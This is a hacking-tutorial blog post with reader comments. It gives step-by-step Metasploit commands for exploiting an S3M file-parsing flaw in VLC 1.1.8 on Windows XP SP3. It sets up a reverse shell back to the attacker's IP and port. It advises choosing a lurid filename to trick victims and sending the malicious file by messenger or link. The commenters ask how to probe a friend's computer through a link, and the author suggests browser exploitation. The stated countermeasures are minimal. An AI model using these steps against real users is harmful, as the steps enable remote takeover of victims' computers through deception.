VLC Media Player 1.1.8 modplug_s3m Exploit (Windows XP SP3)

Type : Tutorial

Level : Medium

Victim O.S : Windows XP SP3

Victim VLC Version : 1.1.8

Just surfing around and found that VLC 1.1.8 have vulnerability that can be exploited. If you still didn't know about VLC media player, here I copy from their original website videolan.org:

VLC is a free and open source cross-platform multimedia player and framework that plays most multimedia files as well as DVD, Audio CD, VCD, and various streaming protocols.

this exploit we will perform using Metasploit framework, and according to metasploit.com website about this vulnerability :

This module exploits an input validation error in libmod_plugin as included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9 are affected. By creating a malicious S3M file, a remote attacker could execute arbitrary code. Although other products that bundle libmodplug may be vulnerable, this module was only tested against VLC.

Let's start…

Requirements :

1. Metasploit Framework

2. Operating System(I'm using Backtrack 5 R1 in this tutorial and Metasploit Framework already included inside)

Step By Step :

1. Open your metasploit console by typing msfconsole and then use the vlc_modplug_s3m exploit with windows meterpreter payload.

use exploit/windows/fileformat/vlc_modplug_s3m

set payload windows/shell_reverse_tcp

2. To view the available options, you can run show options command. I've set up my malicious s3m file with the configuration like the picture below.

Information :

set filename sora-aoi.s3m --> social engineering filename in order to make victim curious

set lhost 192.168.8.92 --> your localhost / attacker machine

set lport 443 --> your local port / attacker local port

/root/.msf4/data/exploits/sora-aoi.s3m --> malicious file location. copy the file and
send it to your victim

3. The next step before we send the malicious s3m file we should set up a listener to grab connection when victim opened the malicious s3m file in their VLC media player.

4. Everything has been set up so nice until this way, the next step we need to send the s3m file to our victim. You can send the file via messenger, url, or anything…improve yourself..

5. After victim opened our malicious s3m file, we got the shell_reverse_tcp payload as shown below.

Countermeasures :

1. Always update your software to the latest version

2. Install personal firewall

Hope it's useful

Subscribe Now To Get Latest Hacking Tutorial on Your E-Mail

Incoming search terms:

• vlc player for windows xp sp3
• vlc player free download for windows xp sp3
• free download vlc media player for windows xp sp3
• vlc media player free download for windows xp sp3
• exploit windows xp sp3
• windows xp sp3 exploit
• vlc for windows xp sp3
• vlc player windows xp sp3
• vlc for xp sp3
• vlc xp sp3

8 Responsesto “VLC Media Player 1.1.8 modplug_s3m Exploit (Windows XP SP3)”

1. brad says:

   Wednesday, January 18, 2012 at 7:26 pm

   is it possible to do something like this with a jpg

   Reply
   • v4L says:

     Thursday, January 19, 2012 at 3:41 pm

     #brad
     no you can’t

     Reply
2. nikon says:

   Monday, July 23, 2012 at 2:41 am

   I was thinking how can I scan vulnerability over internet. If this is possible can you make a tutorial for that please? I’m searching on google for months and I haven’t found anything. You are my last chance to learn how to do that. Thanks anyway

   Reply
   • v4L says:

     Monday, July 23, 2012 at 9:00 am

     #nikon
     what you mean? on internet +-60% of them are web server and most of them are inside DMZ.

     Reply
     • nikon says:

       Monday, July 23, 2012 at 6:51 pm

       I have a website and I want to put a page where is written the code in php, html, or another language that can scan the vulnerabilitys of a computer when is clicked. For example I give the malicious link to try for my friend on internet and then he clicks the link and I have the report of his vulnerability sent to my email or something like that. I know that this think is possible to do but I can’t find anywhere how to do that. I searched on google but nothing. Please help me…

       Reply
       • v4L says:

         Saturday, July 28, 2012 at 12:18 am

         #nikon
         hmm maybe it only works if you use activeX for IE, but for others browser afaik the environment will act as a browser not as a system.
         you only can detect which browser user use, and which OS he use.
         except : you can exploit the browser through available vulnerability to gain a system, then you’ll got it

         Reply
3. nikon says:

   Tuesday, July 31, 2012 at 5:20 pm

   when I have found the browser and the os what I should do. For example I use google chrome ver 20 and windows 7 ultimate sp 1. With this information how can an attacker attack me. How can find the right exploit over metasploit. If there isn’t for my versions what are for the oldest one. Thanks for your time, your answers are very helpful.

   Reply
   • v4L says:

     Thursday, August 2, 2012 at 8:22 pm

     #nikon
     target is vulnerable when user and system didn’t match one another.
     while system not vulnerable, then maybe the user was vulnerable, and vice versa.
     the right exploit is how you think about it…

     Reply